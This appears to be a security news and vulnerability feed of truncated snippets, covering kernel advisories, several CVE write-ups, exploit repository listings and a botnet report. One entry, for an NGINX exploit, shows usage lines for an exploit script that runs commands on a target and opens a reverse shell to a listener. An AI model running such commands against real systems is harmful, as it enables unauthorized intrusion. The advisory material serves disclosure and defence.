CVE-2026-39987

POC d'exploitation CVE-2026-39987 Vue d'ensemble Ce dépôt contient un script Proof-of-Concept POC pour CVE-2026-39987, une vulnérabilité d'exécution de code à distance RCE sans authentification dans Marimo. L'exploit utilise un endpoint WebSocket pour exécuter des commandes arbitraires sur le...

SUSE-SU-2026:4489-1 Security update for the Linux Kernel (Live Patch 16 for SUSE Linux Enterprise 15 SP6)

This update for the SUSE Linux Enterprise Kernel 6.4.0-150600.23.73 fixes various security issues: The following security issues were fixed: - CVE-2026-46116: xfrm: defensively unhash xfrmstate lists in xfrmstatedelete bsc1267370. - CVE-2026-63802: blk-cgroup: fix UAF in blkcgrstatflush bsc127228...

Exploit for CVE-2026-105134

CVE-2026-105134-style OS Command Injection Lab A minimal, sel...

Exploit for Out-of-bounds Write in Apple Ipados

🛡️ CVE-2026-86950 — CoreGraphics Security Research...

cve-2019-12750

تصعيد الامتيازات المحلي في Symantec - CVE-2019-12750 ==================================================== استناداً إلى الشرح الممتاز الذي كتبه Kyriakos Economou: https://labs.nettitude.com/blog/cve-2019-12750-symantec-endpoint-protection-local-privilege-escalation-part-1/ حالياً، يتم دعم x64...

CVE-2026-27579-CORS-Misconfiguration-Leading-to-Authenticated-Data-Exposure

CVE-2026-27579 – Mauvaise configuration CORS entraînant une exposition de données authentifiées 📌 Référence de l'avis ID CVE : CVE-2026-27579 GHSA : GHSA-qh5m-p8jh-hx88 Fournisseur : karnop Produit : realtime-collaboration-platform Gravité : ÉLEVÉE CVSS 7.4 Vecteur :...

syswarden

SysWarden Défense Linux. Votre hôte. Vos règles. Défense Linux locale à l'hôte avec application auditable et à échec sécurisé. Site web | Documentation | Compiler depuis...

kernel: nvme-pci: fix mempool alloc size

A flaw was addressed in the Linux kernel’s nvme-pci driver related to how the driver calculated the worst-case number of PRP Physical Region Page lists required for a given I/O request. The implementation previously rounded the allocation to one list instead of correctly converting the maximum si...

kernel: Linux kernel: Denial of Service in QFQ scheduler via child qlen manipulation

A flaw was found in the Linux kernel's Quick Fair Queuing QFQ scheduler. The QFQ class deactivation logic incorrectly relies on a child qdisc's queue length qlen to determine if a class is active. A local user with CAPNETADMIN capabilities can manipulate the child qlen into an unexpected state...

kernel: Linux kernel: Denial of Service in RDMA/bnxt_re driver due to race condition during QP destruction

A flaw was found in the Linux kernel's Remote Direct Memory Access RDMA bnxtre driver. A local user could exploit a race condition that occurs when a Queue Pair QP is destroyed, but completion queue CQ polling continues. This can lead to a kernel panic, resulting in a Denial of Service DoS on the...

kernel: RDMA/uverbs: Validate wqe_size before using it in ib_uverbs_post_send

A flaw was found in the Linux kernel's Remote Direct Memory Access RDMA subsystem, specifically within the ibuverbspostsend function. A local user can exploit this vulnerability by providing an invalid work queue element size wqesize from userspace without proper validation. This can lead to an...

CVE-2026-105307

A vulnerability was detected in Casdoor up to 3.161.1. Affected is the function ApiFilter of the file routers/authzfilter.go of the component API Endpoint. Performing a manipulation results in missing authentication. The attack can be initiated remotely. The exploit is now public and may be used...

CVE-2023-22518

CVE-2023-22518 ثغرة في الترخيص غير الصحيح في Confluence Data Center و Server. قامت Atlassian بإخطار المسؤولين عن ثغرة حرجة في Confluence. يمكن أن يؤدي استغلال هذه المشكلة إلى فقدان البيانات، لذا يحث المطورون على تثبيت التصحيحات في أقرب وقت ممكن. يُلاحظ أن الثغرة لا يمكن استخدامها لتسريب البيانات،...

Security update for the Linux Kernel (Live Patch 39 for SUSE Linux Enterprise 15 SP5)

This update for the SUSE Linux Enterprise Kernel 5.14.21-150500.55.163 fixes various security issues: The following security issues were fixed: CVE-2026-46116: xfrm: defensively unhash xfrmstate lists in xfrmstatedelete bsc1267370. CVE-2026-63888: scsi: target: iscsi: Fix CRC overread and...

Security update for the Linux Kernel (Live Patch 7 for SUSE Linux Enterprise 15 SP7)

This update for the SUSE Linux Enterprise Kernel 6.4.0-150700.53.25 fixes various security issues: The following security issues were fixed: CVE-2026-46116: xfrm: defensively unhash xfrmstate lists in xfrmstatedelete bsc1267370. CVE-2026-63802: blk-cgroup: fix UAF in blkcgrstatflush bsc1272283...

SUSE-SU-2026:4471-1 Security update for the Linux Kernel (Live Patch 7 for SUSE Linux Enterprise 15 SP7)

This update for the SUSE Linux Enterprise Kernel 6.4.0-150700.53.25 fixes various security issues: The following security issues were fixed: - CVE-2026-46116: xfrm: defensively unhash xfrmstate lists in xfrmstatedelete bsc1267370. - CVE-2026-63802: blk-cgroup: fix UAF in blkcgrstatflush bsc127228...

The Credential Layer Is Expanding Faster Than Security Teams Can See It

Every modern enterprise depends on credentials. This is how humans, systems, and now AI, all connect to data, services, and each other securely. GitGuardian helps secure that credential layer through three connected capabilities: Detect, Remediate, and Prevent. The journey starts with detection,...

BIT-PARSE-2026-101042 Parse Server 9.0.0 Authentication Bypass via Unverified Provider Identity

Parse Server is an open-source backend server. In versions = 9.0.0 = 8.0.2 8.6.91, the code-based authentication adapters GitHub, Google Play Games, Instagram, LINE, LinkedIn, Microsoft, QQ, Spotify, WeChat, Weibo verify the client's authorization code with the external provider on signup and on...

CVE-2026-42945-NGINX-Rift

CVE-2026-42945-NGINX-Rift Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1 --listen-port...

Realtek Jungle SDK Exploit Attempts Deliver Cling Botnet With STUN-Based C2

Threat actors have been observed attempting to exploit a now-patched critical security flaw impacting the Realtek Jungle software development kit SDK to deploy a botnet malware called Cling. "Cling is notable not because it introduces a new propagation technique, but because it repurposes ordinar...